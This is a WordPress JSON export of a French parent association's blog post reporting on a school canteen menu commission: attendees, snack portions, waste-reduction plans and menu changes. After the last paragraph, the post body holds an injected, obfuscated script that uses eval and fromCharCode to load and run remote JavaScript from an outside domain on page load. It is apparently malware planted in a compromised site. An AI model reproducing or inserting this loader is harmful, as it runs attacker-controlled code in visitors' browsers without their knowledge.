{"id":7003,"date":"2015-12-01T22:10:38","date_gmt":"2015-12-01T21:10:38","guid":{"rendered":"http:\/\/education.acctif.eu\/?p=7003"},"modified":"2015-12-01T22:10:38","modified_gmt":"2015-12-01T21:10:38","slug":"cantine-scolaire-acctif-education-etait-a-la-commission-des-menus","status":"publish","type":"post","link":"http:\/\/actifeducation.fr\/?p=7003","title":{"rendered":"Cantine scolaire : ACCTIF Education \u00e9tait \u00e0 la commission des menus"},"content":{"rendered":"<p><strong>L&rsquo;une de nos adh\u00e9rentes (Ida \u00e9lue \u00e0 Pasteur) participe \u00e0 la Commission des menus. Elle peut faire\u00a0part de vos demandes, de vos questions ou de vos inqui\u00e9tudes (quantit\u00e9, qualit\u00e9 des repas, organisation&#8230;). Donc n&rsquo;h\u00e9sitez pas \u00e0 nous les soumettre en \u00e9crivant\u00a0<a href=\"mailto:education@acctif.eu\">education@acctif.eu<\/a>\u00a0ou tout simplement\u00a0en venant\u00a0\u00e0 notre rencontre devant l\u2019\u00e9cole.<\/strong><\/p>\n<p>&gt;&gt;&gt;&gt; Voici le compte-rendu de la Commission des menus \u00e0 laquelle elle a assist\u00e9.<\/p>\n<p><strong>Etaient pr\u00e9sents :<\/strong><br \/>\nResponsable adjoint service enseignement<br \/>\nResponsable de la cuisine centrale<br \/>\nResponsable restauration Sodexo<br \/>\nCuisinier<br \/>\nDi\u00e9t\u00e9ticienne<br \/>\nResponsable des services ressources hygi\u00e8nes et propret\u00e9s<br \/>\n2 personnels des Fr\u00e8res Lumi\u00e8re<br \/>\n1 personnel\u00a0 Tulipes<br \/>\n1 personnel Capucines<br \/>\n1\u00a0parent ind\u00e9pendant<br \/>\n1 Repr\u00e9sentante API<br \/>\n1 Repr\u00e9sentante ACCTIF Education<br \/>\nPas de repr\u00e9sentant FCPE<\/p>\n<ul>\n<li><strong><span style=\"text-decoration:underline;\">Au niveau du menu de chaque jour<\/span><\/strong><\/li>\n<\/ul>\n<p>Il y a souvent 2 entr\u00e9es, 2 produits laitiers ou 2 fruits, mais ils ont droit qu&rsquo;au premier choix sur la liste.\u00a0Le go\u00fbter est compos\u00e9 de trois articles tous les jours.<\/p>\n<p>20cl de lait,\u00a01 g\u00e2teau,\u00a01 fruit entier par enfant qu&rsquo;il peut \u00eatre remplacer par un jus de fruit de temps en temps.<\/p>\n<p>Si les enfants ont faim, c&rsquo;est tout simplement parce que certains d&rsquo;entre eux ne mangent pas bien \u00e0 midi et veulent compenser par leur go\u00fbter.<\/p>\n<p>Les rations sont suffisantes et respect\u00e9es par les r\u00e9glementations en vigueur.\u00a0S&rsquo;il reste des go\u00fbters, certains animateurs les mangent bien qu&rsquo;ils n&rsquo;aient pas le droit.<\/p>\n<p>Concernant les maternelles et les primaires, la di\u00e9t\u00e9ticienne dit que les menus respectent l&rsquo;\u00e9quilibre alimentaire au quotidien et les quantit\u00e9s sont conformes \u00e0 la loi.<br \/>\nIl existe une fiche d&rsquo;appr\u00e9ciation \u00e0 la fin de chaque repas mais h\u00e9las la cuisine centrale n&rsquo;a aucun retour .<\/p>\n<ul>\n<li><strong>P<span style=\"text-decoration:underline;\">rojets en cours<\/span><\/strong><\/li>\n<\/ul>\n<p>Proposition : organiser une\u00a0visite de la cuisine centrale aux enfants pour qu&rsquo;ils voient l&rsquo;\u00e9norme travail fourmi pour la pr\u00e9paration de leurs repas. Et \u00e7a pourra les aider \u00e0 faire moins de gaspillages.\u00a0Il est aussi pr\u00e9vu d&rsquo;investir dans une balance de 30kg pour la pes\u00e9e des d\u00e9chets.<\/p>\n<p>A partir de janvier, il y aura l&rsquo;achat d&rsquo;un second camion alimentaire pour faciliter la conservation de certains mets pr\u00e9par\u00e9s dont les potages en hiver et les glaces en \u00e9t\u00e9.<\/p>\n<p>Les menus des lundis sont moins lourds que le reste de la semaine vu qu&rsquo;on revient d&rsquo;un week end. Mais toujours \u00e9quilibr\u00e9.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>Les modifications demand\u00e9es dans les menus<\/strong><\/span><\/li>\n<\/ul>\n<p><strong>Semaine du 18 au 22 janvier 2016<\/strong><br \/>\nJeudi : le Kilimandjaro&lt;&lt; soupe de haricots rouges et noix de coco&gt;&gt; est remplac\u00e9e par Soupe aux l\u00e9gumes et de haricots rouges.<br \/>\n<strong>Semaine du 25 au 29 janvier 2016<\/strong><br \/>\nVendredi :\u00a0Chou fleur sauce cocktail;\u00a0Haricots vertes vinaigrette ;\u00a0sont remplac\u00e9s par un potage.<\/p>\n<p>Pour l&rsquo;entremets \u00e0 la vanille que les enfants n&rsquo;avaient pas aim\u00e9 au mois d&rsquo;octobre et les nuggets au fromage ont \u00e9t\u00e9 mal dig\u00e9r\u00e9es par le reste du groupe, toutes les autres \u00e9coles l&rsquo;avaient appr\u00e9ci\u00e9.<br \/>\nCertains proposent aux parents de notre groupe scolaire de faire l&rsquo;effort de mieux faire manger les enfants \u00e0 la maison pour faciliter la transition.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>Visite de la cantine<\/strong><\/span><\/li>\n<\/ul>\n<p>Id\u00e9alement,\u00a0avant la\u00a0Commission des menus, les repr\u00e9sentants des parents d&rsquo;\u00e9l\u00e8ves sont invit\u00e9s\u00a0\u00e0 venir manger \u00e0 la cantine. Ce que nous avons d\u00e9j\u00e0 fait l&rsquo;an dernier et referrons cette ann\u00e9e.<\/p>\n<p>La prochaine r\u00e9union est pr\u00e9vue au mois de janvier. Les associations de parents d&rsquo;\u00e9l\u00e8ves demandent la pr\u00e9sence du\u00a0responsable de la cantine et un animateur.<script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,51,46,48,46,51,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&rsquo;une de nos adh\u00e9rentes (Ida \u00e9lue \u00e0 Pasteur) participe \u00e0 la Commission des menus. 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